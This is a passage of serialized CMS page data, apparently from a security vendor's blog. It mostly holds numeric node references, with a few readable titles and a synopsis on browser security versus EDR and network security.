76459],{"data":76460,"marks":76461,"value":74334,"nodeType":865},{},[],{"data":76463,"content":76464,"nodeType":866},{},[76465],{"data":76466,"marks":76467,"value":74341,"nodeType":865},{},[],{"data":76469,"content":76470,"nodeType":866},{},[76471],{"data":76472,"marks":76473,"value":74348,"nodeType":865},{},[],{"data":76475,"content":76476,"nodeType":866},{},[76477,76480,76487],{"data":76478,"marks":76479,"value":74355,"nodeType":865},{},[],{"data":76481,"content":76482,"nodeType":889},{"uri":4991},[76483],{"data":76484,"marks":76485,"value":74363,"nodeType":865},{},[76486],{"type":943},{"data":76488,"marks":76489,"value":74367,"nodeType":865},{},[],{"data":76491,"content":76492,"nodeType":1317},{},[76493],{"data":76494,"marks":76495,"value":74375,"nodeType":865},{},[76496],{"type":926},{"data":76498,"content":76499,"nodeType":866},{},[76500],{"data":76501,"marks":76502,"value":74382,"nodeType":865},{},[],{"data":76504,"content":76505,"nodeType":866},{},[76506],{"data":76507,"marks":76508,"value":74389,"nodeType":865},{},[],{"data":76510,"content":76511,"nodeType":866},{},[76512],{"data":76513,"marks":76514,"value":74396,"nodeType":865},{},[],{"data":76516,"content":76517,"nodeType":972},{},[],{"data":76519,"content":76520,"nodeType":981},{},[76521],{"data":76522,"marks":76523,"value":74407,"nodeType":865},{},[76524],{"type":926},{"data":76526,"content":76527,"nodeType":866},{},[76528,76531,76535],{"data":76529,"marks":76530,"value":74414,"nodeType":865},{},[],{"data":76532,"marks":76533,"value":74419,"nodeType":865},{},[76534],{"type":926},{"data":76536,"marks":76537,"value":74423,"nodeType":865},{},[],{"data":76539,"content":76540,"nodeType":866},{},[76541,76544,76548],{"data":76542,"marks":76543,"value":74430,"nodeType":865},{},[],{"data":76545,"marks":76546,"value":74435,"nodeType":865},{},[76547],{"type":926},{"data":76549,"marks":76550,"value":74439,"nodeType":865},{},[],{"data":76552,"content":76553,"nodeType":866},{},[76554],{"data":76555,"marks":76556,"value":74446,"nodeType":865},{},[],{"data":76558,"content":76559,"nodeType":1317},{},[76560],{"data":76561,"marks":76562,"value":74454,"nodeType":865},{},[76563],{"type":926},{"data":76565,"content":76566,"nodeType":866},{},[76567],{"data":76568,"marks":76569,"value":74461,"nodeType":865},{},[],{"data":76571,"content":76572,"nodeType":866},{},[76573],{"data":76574,"marks":76575,"value":74468,"nodeType":865},{},[],{"data":76577,"content":76578,"nodeType":866},{},[76579],{"data":76580,"marks":76581,"value":74475,"nodeType":865},{},[],{"data":76583,"content":76584,"nodeType":866},{},[76585],{"data":76586,"marks":76587,"value":74482,"nodeType":865},{},[],{"data":76589,"content":76592,"nodeType":912},{"target":76590},{"sys":76591},{"id":74487,"type":909,"linkType":910},[],{"data":76594,"content":76595,"nodeType":866},{},[76596],{"data":76597,"marks":76598,"value":74495,"nodeType":865},{},[],{"data":76600,"content":76601,"nodeType":1616},{},[76602,76615,76628,76641],{"data":76603,"content":76604,"nodeType":1570},{},[76605],{"data":76606,"content":76607,"nodeType":866},{},[76608,76612],{"data":76609,"marks":76610,"value":74509,"nodeType":865},{},[76611],{"type":926},{"data":76613,"marks":76614,"value":74513,"nodeType":865},{},[],{"data":76616,"content":76617,"nodeType":1570},{},[76618],{"data":76619,"content":76620,"nodeType":866},{},[76621,76625],{"data":76622,"marks":76623,"value":74524,"nodeType":865},{},[76624],{"type":926},{"data":76626,"marks":76627,"value":74528,"nodeType":865},{},[],{"data":76629,"content":76630,"nodeType":1570},{},[76631],{"data":76632,"content":76633,"nodeType":866},{},[76634,76638],{"data":76635,"marks":76636,"value":74539,"nodeType":865},{},[76637],{"type":926},{"data":76639,"marks":76640,"value":74543,"nodeType":865},{},[],{"data":76642,"content":76643,"nodeType":1570},{},[76644],{"data":76645,"content":76646,"nodeType":866},{},[76647,76651],{"data":76648,"marks":76649,"value":74554,"nodeType":865},{},[76650],{"type":926},{"data":76652,"marks":76653,"value":74558,"nodeType":865},{},[],{"data":76655,"content":76656,"nodeType":972},{},[],{"data":76658,"content":76659,"nodeType":7584},{},[76660],{"data":76661,"content":76662,"nodeType":866},{},[76663,76666,76673,76676,76683,76686,76693],{"data":76664,"marks":76665,"value":61568,"nodeType":865},{},[],{"data":76667,"content":76668,"nodeType":889},{"uri":11375},[76669],{"data":76670,"marks":76671,"value":61576,"nodeType":865},{},[76672],{"type":943},{"data":76674,"marks":76675,"value":2717,"nodeType":865},{},[],{"data":76677,"content":76678,"nodeType":889},{"uri":11387},[76679],{"data":76680,"marks":76681,"value":61587,"nodeType":865},{},[76682],{"type":943},{"data":76684,"marks":76685,"value":11397,"nodeType":865},{},[],{"data":76687,"content":76688,"nodeType":889},{"uri":1372},[76689],{"data":76690,"marks":76691,"value":11405,"nodeType":865},{},[76692],{"type":943},{"data":76694,"marks":76695,"value":1615,"nodeType":865},{},[],{"data":76697,"content":76698,"nodeType":866},{},[76699],{"data":76700,"marks":76701,"value":21,"nodeType":865},{},[],{"items":76703},[76704,76706],{"sys":76705,"name":7796},{"id":7795},{"sys":76707,"name":342},{"id":4642},{"items":76709},[76710],{"fullName":4680,"firstName":4681,"jobTitle":4616,"profilePicture":76711},{"url":4683},"blog/push-plus-endpoint-security",{"json":76714},{"data":76715,"content":76716,"nodeType":1382},{},[76717],{"data":76718,"content":76719,"nodeType":866},{},[76720],{"data":76721,"marks":76722,"value":76723,"nodeType":865},{},[],"One of the key questions we often hear is \"we've already got EDR, so why do we need to be in the browser too?\". Well, here's the answer!",{"id":57837,"publishedAt":76725},"2026-08-13T09:35:41.299Z",{"items":76727},[76728,76730],{"sys":76729,"name":7796},{"id":7795},{"sys":76731,"name":342},{"id":4642},{"items":76733},[76734,76736,76738,76740,76742,76744,76746,76748],{"sys":76735,"name":297,"slug":298,"tier":31},{"id":294},{"sys":76737,"name":279,"slug":280,"tier":31},{"id":276},{"sys":76739,"name":342,"slug":343,"tier":31},{"id":339},{"sys":76741,"name":377,"slug":378,"tier":45},{"id":374},{"sys":76743,"name":261,"slug":262,"tier":45},{"id":258},{"sys":76745,"name":571,"slug":572,"tier":45},{"id":568},{"sys":76747,"name":288,"slug":289,"tier":45},{"id":285},{"sys":76749,"name":315,"slug":316,"tier":45},{"id":312},"JhUSIdUT34jBz7baqPjVEhg0kgv0ylAjyUoc9hrf0Ok",{"id":76752,"title":75116,"authorsCollection":76753,"content":76757,"extension":228,"faqItemsCollection":77208,"faqTitle":59,"featured":6,"hashTags":59,"meta":77210,"metaTitle":77211,"ogImage":59,"postType":1424,"publishedDate":75118,"relatedBlogPostsCollection":77212,"slug":75119,"stem":77900,"subtitle":59,"summary":77901,"synopsis":75117,"sys":77912,"tagsCollection":77914,"topicsCollection":77920,"__hash__":77938},"blog/blog/push-plus-network-security.json",{"items":76754},[76755],{"fullName":4680,"firstName":4681,"jobTitle":4616,"socialLinks":59,"profilePicture":76756},{"url":4683},{"json":76758,"links":77192},{"data":76759,"content":76760,"nodeType":1382},{},[76761,76768,76774,76780,76790,76797,76803,76809,76815,76822,76825,76832,76838,76844,76850,76865,76870,76876,76891,76898,77006,77009,77016,77022,77032,77038,77043,77049,77055,77062,77068,77075,77081,77087,77093,77135,77145,77181,77186],{"data":76762,"content":76763,"nodeType":981},{},[76764],{"data":76765,"marks":76766,"value":74639,"nodeType":865},{},[76767],{"type":926},{"data":76769,"content":76770,"nodeType":866},{},[76771],{"data":76772,"marks":76773,"value":74646,"nodeType":865},{},[],{"data":76775,"content":76776,"nodeType":866},{},[76777],{"data":76778,"marks":76779,"value":74653,"nodeType":865},{},[],{"data":76781,"content":76782,"nodeType":866},{},[76783,76786],{"data":76784,"marks":76785,"value":74660,"nodeType":865},{},[],{"data":76787,"marks":76788,"value":74665,"nodeType":865},{},[76789],{"type":926},{"data":76791,"content":76792,"nodeType":1317},{},[76793],{"data":76794,"marks":76795,"value":74673,"nodeType":865},{},[76796],{"type":926},{"data":76798,"content":76799,"nodeType":866},{},[76800],{"data":76801,"marks":76802,"value":74680,"nodeType":865},{},[],{"data":76804,"content":76805,"nodeType":866},{},[76806],{"data":76807,"marks":76808,"value":74687,"nodeType":865},{},[],{"data":76810,"content":76811,"nodeType":866},{},[76812],{"data":76813,"marks":76814,"value":74694,"nodeType":865},{},[],{"data":76816,"content":76817,"nodeType":866},{},[76818],{"data":76819,"marks":76820,"value":74702,"nodeType":865},{},[76821],{"type":926},{"data":76823,"content":76824,"nodeType":972},{},[],{"data":76826,"content":76827,"nodeType":981},{},[76828],{"data":76829,"marks":76830,"value":74713,"nodeType":865},{},[76831],{"type":926},{"data":76833,"content":76834,"nodeType":866},{},[76835],{"data":76836,"marks":76837,"value":74720,"nodeType":865},{},[],{"data":76839,"content":76840,"nodeType":866},{},[76841],{"data":76842,"marks":76843,"value":74727,"nodeType":865},{},[],{"data":76845,"content":76846,"nodeType":866},{},[76847],{"data":76848,"marks":76849,"value":74734,"nodeType":865},{},[],{"data":76851,"content":76852,"nodeType":866},{},[76853,76856,76862],{"data":76854,"marks":76855,"value":74741,"nodeType":865},{},[],{"data":76857,"content":76858,"nodeType":889},{"uri":5053},[76859],{"data":76860,"marks":76861,"value":8868,"nodeType":865},{},[],{"data":76863,"marks":76864,"value":74751,"nodeType":865},{},[],{"data":76866,"content":76869,"nodeType":912},{"target":76867},{"sys":76868},{"id":74756,"type":909,"linkType":910},[],{"data":76871,"content":76872,"nodeType":866},{},[76873],{"data":76874,"marks":76875,"value":74764,"nodeType":865},{},[],{"data":76877,"content":76878,"nodeType":866},{},[76879,76882,76888],{"data":76880,"marks":76881,"value":74355,"nodeType":865},{},[],{"data":76883,"content":76884,"nodeType":889},{"uri":4991},[76885],{"data":76886,"marks":76887,"value":74777,"nodeType":865},{},[],{"data":76889,"marks":76890,"value":74781,"nodeType":865},{},[],{"data":76892,"content":76893,"nodeType":866},{},[76894],{"data":76895,"marks":76896,"value":74789,"nodeType":865},{},[76897],{"type":898},{"data":76899,"content":76900,"nodeType":2927},{},[76901,76922,76943,76964,76985],{"data":76902,"content":76903,"nodeType":2400},{},[76904,76913],{"data":76905,"content":76906,"nodeType":38076},{},[76907],{"data":76908,"content":76909,"nodeType":866},{},[76910],{"data":76911,"marks":76912,"value":74805,"nodeType":865},{},[],{"data":76914,"content":76915,"nodeType":38076},{},[76916],{"data":76917,"content":76918,"nodeType":866},{},[76919],{"data":76920,"marks":76921,"value":74815,"nodeType":865},{},[],{"data":76923,"content":76924,"nodeType":2400},{},[76925,76934],{"data":76926,"content":76927,"nodeType":2366},{},[76928],{"data":76929,"content":76930,"nodeType":866},{},[76931],{"data":76932,"marks":76933,"value":74828,"nodeType":865},{},[],{"data":76935,"content":76936,"nodeType":2366},{},[76937],{"data":76938,"content":76939,"nodeType":866},{},[76940],{"data":76941,"marks":76942,"value":74838,"nodeType":865},{},[],{"data":76944,"content":76945,"nodeType":2400},{},[76946,76955],{"data":76947,"content":76948,"nodeType":2366},{},[76949],{"data":76950,"content":76951,"nodeType":866},{},[76952],{"data":76953,"marks":76954,"value":74851,"nodeType":865},{},[],{"data":76956,"content":76957,"nodeType":2366},{},[76958],{"data":76959,"content":76960,"nodeType":866},{},[76961],{"data":76962,"marks":76963,"value":74861,"nodeType":865},{},[],{"data":76965,"content":76966,"nodeType":2400},{},[76967,76976],{"data":76968,"content":76969,"nodeType":2366},{},[76970],{"data":76971,"content":76972,"nodeType":866},{},[76973],{"data":76974,"marks":76975,"value":74874,"nodeType":865},{},[],{"data":76977,"content":76978,"nodeType":2366},{},[76979],{"data":76980,"content":76981,"nodeType":866},{},[76982],{"data":76983,"marks":76984,"value":74884,"nodeType":865},{},[],{"data":76986,"content":76987,"nodeType":2400},{},[76988,76997],{"data":76989,"content":76990,"nodeType":2366},{},[76991],{"data":76992,"content":76993,"nodeType":866},{},[76994],{"data":76995,"marks":76996,"value":74897,"nodeType":865},{},[],{"data":76998,"content":76999,"nodeType":2366},{},[77000],{"data":77001,"content":77002,"nodeType":866},{},[77003],{"data":77004,"marks":77005,"value":74907,"nodeType":865},{},[],{"data":77007,"content":77008,"nodeType":972},{},[],{"data":77010,"content":77011,"nodeType":981},{},[77012],{"data":77013,"marks":77014,"value":74918,"nodeType":865},{},[77015],{"type":926},{"data":77017,"content":77018,"nodeType":866},{},[77019],{"data":77020,"marks":77021,"value":74925,"nodeType":865},{},[],{"data":77023,"content":77024,"nodeType":866},{},[77025,77028],{"data":77026,"marks":77027,"value":74932,"nodeType":865},{},[],{"data":77029,"marks":77030,"value":74937,"nodeType":865},{},[77031],{"type":926},{"data":77033,"content":77034,"nodeType":866},{},[77035],{"data":77036,"marks":77037,"value":74944,"nodeType":865},{},[],{"data":77039,"content":77042,"nodeType":912},{"target":77040},{"sys":77041},{"id":74487,"type":909,"linkType":910},[],{"data":77044,"content":77045,"nodeType":866},{},[77046],{"data":77047,"marks":77048,"value":74956,"nodeType":865},{},[],{"data":77050,"content":77051,"nodeType":866},{},[77052],{"data":77053,"marks":77054,"value":74963,"nodeType":865},{},[],{"data":77056,"content":77057,"nodeType":1317},{},[77058],{"data":77059,"marks":77060,"value":74971,"nodeType":865},{},[77061],{"type":926},{"data":77063,"content":77064,"nodeType":866},{},[77065],{"data":77066,"marks":77067,"value":74978,"nodeType":865},{},[],{"data":77069,"content":77070,"nodeType":866},{},[77071],{"data":77072,"marks":77073,"value":74986,"nodeType":865},{},[77074],{"type":926},{"data":77076,"content":77077,"nodeType":866},{},[77078],{"data":77079,"marks":77080,"value":74993,"nodeType":865},{},[],{"data":77082,"content":77083,"nodeType":866},{},[77084],{"data":77085,"marks":77086,"value":75000,"nodeType":865},{},[],{"data":77088,"content":77089,"nodeType":866},{},[77090],{"data":77091,"marks":77092,"value":75007,"nodeType":865},{},[],{"data":77094,"content":77095,"nodeType":1616},{},[77096,77109,77122],{"data":77097,"content":77098,"nodeType":1570},{},[77099],{"data":77100,"content":77101,"nodeType":866},{},[77102,77106],{"data":77103,"marks":77104,"value":75021,"nodeType":865},{},[77105],{"type":926},{"data":77107,"marks":77108,"value":75025,"nodeType":865},{},[],{"data":77110,"content":77111,"nodeType":1570},{},[77112],{"data":77113,"content":77114,"nodeType":866},{},[77115,77119],{"data":77116,"marks":77117,"value":75036,"nodeType":865},{},[77118],{"type":926},{"data":77120,"marks":77121,"value":75040,"nodeType":865},{},[],{"data":77123,"content":77124,"nodeType":1570},{},[77125],{"data":77126,"content":77127,"nodeType":866},{},[77128,77132],{"data":77129,"marks":77130,"value":75051,"nodeType":865},{},[77131],{"type":926},{"data":77133,"marks":77134,"value":75055,"nodeType":865},{},[],{"data":77136,"content":77137,"nodeType":866},{},[77138,77141],{"data":77139,"marks":77140,"value":75062,"nodeType":865},{},[],{"data":77142,"marks":77143,"value":75067,"nodeType":865},{},[77144],{"type":926},{"data":77146,"content":77147,"nodeType":7584},{},[77148],{"data":77149,"content":77150,"nodeType":866},{},[77151,77154,77160,77163,77169,77172,77178],{"data":77152,"marks":77153,"value":61568,"nodeType":865},{},[],{"data":77155,"content":77156,"nodeType":889},{"uri":11375},[77157],{"data":77158,"marks":77159,"value":61576,"nodeType":865},{},[],{"data":77161,"marks":77162,"value":2717,"nodeType":865},{},[],{"data":77164,"content":77165,"nodeType":889},{"uri":11387},[77166],{"data":77167,"marks":77168,"value":61587,"nodeType":865},{},[],{"data":77170,"marks":77171,"value":11397,"nodeType":865},{},[],{"data":77173,"content":77174,"nodeType":889},{"uri":1372},[77175],{"data":77176,"marks":77177,"value":11405,"nodeType":865},{},[],{"data":77179,"marks":77180,"value":1615,"nodeType":865},{},[],{"data":77182,"content":77185,"nodeType":912},{"target":77183},{"sys":77184},{"id":75108,"type":909,"linkType":910},[],{"data":77187,"content":77188,"nodeType":866},{},[77189],{"data":77190,"marks":77191,"value":21,"nodeType":865},{},[],{"entries":77193},{"hyperlink":77194,"inline":77195,"block":77196},[],[],[77197,77203,77206],{"sys":77198,"__typename":1390,"title":77199,"caption":59,"layoutMode":59,"file":77200},{"id":74756},"Why known-bad detections are failing. ",{"url":77201,"width":74617,"height":77202},"https://images.ctfassets.net/y1cdw1ablpvd/6b63OwWsBBv4z7HAiaOKL8/defc65b40e27f1b14ad64cbf09d8c1d4/Screenshot_2026-01-30_at_16.57.54.png",1800,{"sys":77204,"__typename":1390,"title":74614,"caption":74614,"layoutMode":59,"file":77205},{"id":74487},{"url":74616,"width":74617,"height":74618},{"sys":77207,"__typename":1414,"type":1415,"ctaText":75918,"buttonLabel":33569,"buttonColour":1418,"buttonUrl":16069},{"id":75108},{"items":77209},[],{},"Push + Network Security: Seeing packets vs securing sessions",{"items":77213},[77214,77560],{"__typename":1429,"sys":77215,"content":77216,"title":75513,"synopsis":75514,"hashTags":59,"publishedDate":75118,"slug":75515,"tagsCollection":77550,"authorsCollection":77556},{"id":57837},{"json":77217},{"data":77218,"content":77219,"nodeType":1382},{},[77220,77227,77233,77239,77249,77259,77266,77272,77278,77284,77289,77292,77299,77305,77311,77321,77327,77333,77340,77346,77388,77401,77407,77414,77420,77442,77448,77455,77497,77503,77539,77544],{"data":77221,"content":77222,"nodeType":981},{},[77223],{"data":77224,"marks":77225,"value":75143,"nodeType":865},{},[77226],{"type":926},{"data":77228,"content":77229,"nodeType":866},{},[77230],{"data":77231,"marks":77232,"value":75150,"nodeType":865},{},[],{"data":77234,"content":77235,"nodeType":866},{},[77236],{"data":77237,"marks":77238,"value":75157,"nodeType":865},{},[],{"data":77240,"content":77241,"nodeType":866},{},[77242,77245],{"data":77243,"marks":77244,"value":75164,"nodeType":865},{},[],{"data":77246,"marks":77247,"value":75169,"nodeType":865},{},[77248],{"type":926},{"data":77250,"content":77251,"nodeType":866},{},[77252,77255],{"data":77253,"marks":77254,"value":75176,"nodeType":865},{},[],{"data":77256,"marks":77257,"value":75181,"nodeType":865},{},[77258],{"type":898},{"data":77260,"content":77261,"nodeType":1317},{},[77262],{"data":77263,"marks":77264,"value":75189,"nodeType":865},{},[77265],{"type":926},{"data":77267,"content":77268,"nodeType":866},{},[77269],{"data":77270,"marks":77271,"value":75196,"nodeType":865},{},[],{"data":77273,"content":77274,"nodeType":866},{},[77275],{"data":77276,"marks":77277,"value":75203,"nodeType":865},{},[],{"data":77279,"content":77280,"nodeType":866},{},[77281],{"data":77282,"marks":77283,"value":75210,"nodeType":865},{},[],{"data":77285,"content":77288,"nodeType":912},{"target":77286},{"sys":77287},{"id":75215,"type":909,"linkType":910},[],{"data":77290,"content":77291,"nodeType":972},{},[],{"data":77293,"content":77294,"nodeType":981},{},[77295],{"data":77296,"marks":77297,"value":75227,"nodeType":865},{},[77298],{"type":926},{"data":77300,"content":77301,"nodeType":866},{},[77302],{"data":77303,"marks":77304,"value":75234,"nodeType":865},{},[],{"data":77306,"content":77307,"nodeType":866},{},[77308],{"data":77309,"marks":77310,"value":75241,"nodeType":865},{},[],{"data":77312,"content":77313,"nodeType":866},{},[77314,77318],{"data":77315,"marks":77316,"value":75249,"nodeType":865},{},[77317],{"type":926},{"data":77319,"marks":77320,"value":75253,"nodeType":865},{},[],{"data":77322,"content":77323,"nodeType":866},{},[77324],{"data":77325,"marks":77326,"value":75260,"nodeType":865},{},[],{"data":77328,"content":77329,"nodeType":866},{},[77330],{"data":77331,"marks":77332,"value":75267,"nodeType":865},{},[],{"data":77334,"content":77335,"nodeType":1317},{},[77336],{"data":77337,"marks":77338,"value":75275,"nodeType":865},{},[77339],{"type":926},{"data":77341,"content":77342,"nodeType":866},{},[77343],{"data":77344,"marks":77345,"value":75282,"nodeType":865},{},[],{"data":77347,"content":77348,"nodeType":1616},{},[77349,77362,77375],{"data":77350,"content":77351,"nodeType":1570},{},[77352],{"data":77353,"content":77354,"nodeType":866},{},[77355,77359],{"data":77356,"marks":77357,"value":75296,"nodeType":865},{},[77358],{"type":926},{"data":77360,"marks":77361,"value":75300,"nodeType":865},{},[],{"data":77363,"content":77364,"nodeType":1570},{},[77365],{"data":77366,"content":77367,"nodeType":866},{},[77368,77372],{"data":77369,"marks":77370,"value":75311,"nodeType":865},{},[77371],{"type":926},{"data":77373,"marks":77374,"value":75315,"nodeType":865},{},[],{"data":77376,"content":77377,"nodeType":1570},{},[77378],{"data":77379,"content":77380,"nodeType":866},{},[77381,77385],{"data":77382,"marks":77383,"value":75326,"nodeType":865},{},[77384],{"type":926},{"data":77386,"marks":77387,"value":75330,"nodeType":865},{},[],{"data":77389,"content":77390,"nodeType":866},{},[77391,77394,77398],{"data":77392,"marks":77393,"value":75337,"nodeType":865},{},[],{"data":77395,"marks":77396,"value":75342,"nodeType":865},{},[77397],{"type":926},{"data":77399,"marks":77400,"value":75346,"nodeType":865},{},[],{"data":77402,"content":77403,"nodeType":866},{},[77404],{"data":77405,"marks":77406,"value":75353,"nodeType":865},{},[],{"data":77408,"content":77409,"nodeType":1317},{},[77410],{"data":77411,"marks":77412,"value":75361,"nodeType":865},{},[77413],{"type":926},{"data":77415,"content":77416,"nodeType":866},{},[77417],{"data":77418,"marks":77419,"value":75368,"nodeType":865},{},[],{"data":77421,"content":77422,"nodeType":866},{},[77423,77426,77430,77433,77439],{"data":77424,"marks":77425,"value":75375,"nodeType":865},{},[],{"data":77427,"marks":77428,"value":75380,"nodeType":865},{},[77429],{"type":926},{"data":77431,"marks":77432,"value":75384,"nodeType":865},{},[],{"data":77434,"content":77435,"nodeType":889},{"uri":75387},[77436],{"data":77437,"marks":77438,"value":75392,"nodeType":865},{},[],{"data":77440,"marks":77441,"value":21,"nodeType":865},{},[],{"data":77443,"content":77444,"nodeType":866},{},[77445],{"data":77446,"marks":77447,"value":75402,"nodeType":865},{},[],{"data":77449,"content":77450,"nodeType":1317},{},[77451],{"data":77452,"marks":77453,"value":75410,"nodeType":865},{},[77454],{"type":926},{"data":77456,"content":77457,"nodeType":1616},{},[77458,77471,77484],{"data":77459,"content":77460,"nodeType":1570},{},[77461],{"data":77462,"content":77463,"nodeType":866},{},[77464,77468],{"data":77465,"marks":77466,"value":75424,"nodeType":865},{},[77467],{"type":926},{"data":77469,"marks":77470,"value":75428,"nodeType":865},{},[],{"data":77472,"content":77473,"nodeType":1570},{},[77474],{"data":77475,"content":77476,"nodeType":866},{},[77477,77481],{"data":77478,"marks":77479,"value":75439,"nodeType":865},{},[77480],{"type":926},{"data":77482,"marks":77483,"value":75443,"nodeType":865},{},[],{"data":77485,"content":77486,"nodeType":1570},{},[77487],{"data":77488,"content":77489,"nodeType":866},{},[77490,77494],{"data":77491,"marks":77492,"value":75454,"nodeType":865},{},[77493],{"type":926},{"data":77495,"marks":77496,"value":75458,"nodeType":865},{},[],{"data":77498,"content":77499,"nodeType":866},{},[77500],{"data":77501,"marks":77502,"value":75465,"nodeType":865},{},[],{"data":77504,"content":77505,"nodeType":7584},{},[77506],{"data":77507,"content":77508,"nodeType":866},{},[77509,77512,77518,77521,77527,77530,77536],{"data":77510,"marks":77511,"value":61568,"nodeType":865},{},[],{"data":77513,"content":77514,"nodeType":889},{"uri":11375},[77515],{"data":77516,"marks":77517,"value":61576,"nodeType":865},{},[],{"data":77519,"marks":77520,"value":2717,"nodeType":865},{},[],{"data":77522,"content":77523,"nodeType":889},{"uri":11387},[77524],{"data":77525,"marks":77526,"value":61587,"nodeType":865},{},[],{"data":77528,"marks":77529,"value":11397,"nodeType":865},{},[],{"data":77531,"content":77532,"nodeType":889},{"uri":1372},[77533],{"data":77534,"marks":77535,"value":11405,"nodeType":865},{},[],{"data":77537,"marks":77538,"value":1615,"nodeType":865},{},[],{"data":77540,"content":77543,"nodeType":912},{"target":77541},{"sys":77542},{"id":75108,"type":909,"linkType":910},[],{"data":77545,"content":77546,"nodeType":866},{},[77547],{"data":77548,"marks":77549,"value":21,"nodeType":865},{},[],{"items":77551},[77552,77554],{"sys":77553,"name":7796},{"id":7795},{"sys":77555,"name":342},{"id":4642},{"items":77557},[77558],{"fullName":4680,"firstName":4681,"jobTitle":4616,"profilePicture":77559},{"url":4683},{"__typename":1429,"sys":77561,"content":77562,"title":74229,"synopsis":75539,"hashTags":59,"publishedDate":74623,"slug":75526,"tagsCollection":77890,"authorsCollection":77896},{"id":57851},{"json":77563},{"data":77564,"content":77565,"nodeType":1382},{},[77566,77573,77579,77585,77591,77597,77603,77610,77616,77622,77628,77631,77638,77644,77650,77656,77662,77678,77685,77691,77697,77703,77706,77713,77726,77739,77745,77752,77758,77764,77770,77776,77781,77787,77842,77845,77884],{"data":77567,"content":77568,"nodeType":981},{},[77569],{"data":77570,"marks":77571,"value":74245,"nodeType":865},{},[77572],{"type":926},{"data":77574,"content":77575,"nodeType":866},{},[77576],{"data":77577,"marks":77578,"value":74252,"nodeType":865},{},[],{"data":77580,"content":77581,"nodeType":866},{},[77582],{"data":77583,"marks":77584,"value":74259,"nodeType":865},{},[],{"data":77586,"content":77587,"nodeType":866},{},[77588],{"data":77589,"marks":77590,"value":74266,"nodeType":865},{},[],{"data":77592,"content":77593,"nodeType":866},{},[77594],{"data":77595,"marks":77596,"value":74273,"nodeType":865},{},[],{"data":77598,"content":77599,"nodeType":866},{},[77600],{"data":77601,"marks":77602,"value":74280,"nodeType":865},{},[],{"data":77604,"content":77605,"nodeType":1317},{},[77606],{"data":77607,"marks":77608,"value":74288,"nodeType":865},{},[77609],{"type":926},{"data":77611,"content":77612,"nodeType":866},{},[77613],{"data":77614,"marks":77615,"value":74295,"nodeType":865},{},[],{"data":77617,"content":77618,"nodeType":866},{},[77619],{"data":77620,"marks":77621,"value":74302,"nodeType":865},{},[],{"data":77623,"content":77624,"nodeType":866},{},[77625],{"data":77626,"marks":77627,"value":74309,"nodeType":865},{},[],{"data":77629,"content":77630,"nodeType":972},{},[],{"data":77632,"content":77633,"nodeType":981},{},[77634],{"data":77635,"marks":77636,"value":74320,"nodeType":865},{},[77637],{"type":926},{"data":77639,"content":77640,"nodeType":866},{},[77641],{"data":77642,"marks":77643,"value":74327,"nodeType":865},{},[],{"data":77645,"content":77646,"nodeType":866},{},[77647],{"data":77648,"marks":77649,"value":74334,"nodeType":865},{},[],{"data":77651,"content":77652,"nodeType":866},{},[77653],{"data":77654,"marks":77655,"value":74341,"nodeType":865},{},[],{"data":77657,"content":77658,"nodeType":866},{},[77659],{"data":77660,"marks":77661,"value":74348,"nodeType":865},{},[],{"data":77663,"content":77664,"nodeType":866},{},[77665,77668,77675],{"data":77666,"marks":77667,"value":74355,"nodeType":865},{},[],{"data":77669,"content":77670,"nodeType":889},{"uri":4991},[77671],{"data":77672,"marks":77673,"value":74363,"nodeType":865},{},[77674],{"type":943},{"data":77676,"marks":77677,"value":74367,"nodeType":865},{},[],{"data":77679,"content":77680,"nodeType":1317},{},[77681],{"data":77682,"marks":77683,"value":74375,"nodeType":865},{},[77684],{"type":926},{"data":77686,"content":77687,"nodeType":866},{},[77688],{"data":77689,"marks":77690,"value":74382,"nodeType":865},{},[],{"data":77692,"content":77693,"nodeType":866},{},[77694],{"data":77695,"marks":77696,"value":74389,"nodeType":865},{},[],{"data":77698,"content":77699,"nodeType":866},{},[77700],{"data":77701,"marks":77702,"value":74396,"nodeType":865},{},[],{"data":77704,"content":77705,"nodeType":972},{},[],{"data":77707,"content":77708,"nodeType":981},{},[77709],{"data":77710,"marks":77711,"value":74407,"nodeType":865},{},[77712],{"type":926},{"data":77714,"content":77715,"nodeType":866},{},[77716,77719,77723],{"data":77717,"marks":77718,"value":74414,"nodeType":865},{},[],{"data":77720,"marks":77721,"value":74419,"nodeType":865},{},[77722],{"type":926},{"data":77724,"marks":77725,"value":74423,"nodeType":865},{},[],{"data":77727,"content":77728,"nodeType":866},{},[77729,77732,77736],{"data":77730,"marks":77731,"value":74430,"nodeType":865},{},[],{"data":77733,"marks":77734,"value":74435,"nodeType":865},{},[77735],{"type":926},{"data":77737,"marks":77738,"value":74439,"nodeType":865},{},[],{"data":77740,"content":77741,"nodeType":866},{},[77742],{"data":77743,"marks":77744,"value":74446,"nodeType":865},{},[],{"data":77746,"content":77747,"nodeType":1317},{},[77748],{"data":77749,"marks":77750,"value":74454,"nodeType":865},{},[77751],{"type":926},{"data":77753,"content":77754,"nodeType":866},{},[77755],{"data":77756,"marks":77757,"value":74461,"nodeType":865},{},[],{"data":77759,"content":77760,"nodeType":866},{},[77761],{"data":77762,"marks":77763,"value":74468,"nodeType":865},{},[],{"data":77765,"content":77766,"nodeType":866},{},[77767],{"data":77768,"marks":77769,"value":74475,"nodeType":865},{},[],{"data":77771,"content":77772,"nodeType":866},{},[77773],{"data":77774,"marks":77775,"value":74482,"nodeType":865},{},[],{"data":77777,"content":77780,"nodeType":912},{"target":77778},{"sys":77779},{"id":74487,"type":909,"linkType":910},[],{"data":77782,"content":77783,"nodeType":866},{},[77784],{"data":77785,"marks":77786,"value":74495,"nodeType":865},{},[],{"data":77788,"content":77789,"nodeType":1616},{},[77790,77803,77816,77829],{"data":77791,"content":77792,"nodeType":1570},{},[77793],{"data":77794,"content":77795,"nodeType":866},{},[77796,77800],{"data":77797,"marks":77798,"value":74509,"nodeType":865},{},[77799],{"type":926},{"data":77801,"marks":77802,"value":74513,"nodeType":865},{},[],{"data":77804,"content":77805,"nodeType":1570},{},[77806],{"data":77807,"content":77808,"nodeType":866},{},[77809,77813],{"data":77810,"marks":77811,"value":74524,"nodeType":865},{},[77812],{"type":926},{"data":77814,"marks":77815,"value":74528,"nodeType":865},{},[],{"data":77817,"content":77818,"nodeType":1570},{},[77819],{"data":77820,"content":77821,"nodeType":866},{},[77822,77826],{"data":77823,"marks":77824,"value":74539,"nodeType":865},{},[77825],{"type":926},{"data":77827,"marks":77828,"value":74543,"nodeType":865},{},[],{"data":77830,"content":77831,"nodeType":1570},{},[77832],{"data":77833,"content":77834,"nodeType":866},{},[77835,77839],{"data":77836,"marks":77837,"value":74554,"nodeType":865},{},[77838],{"type":926},{"data":77840,"marks":77841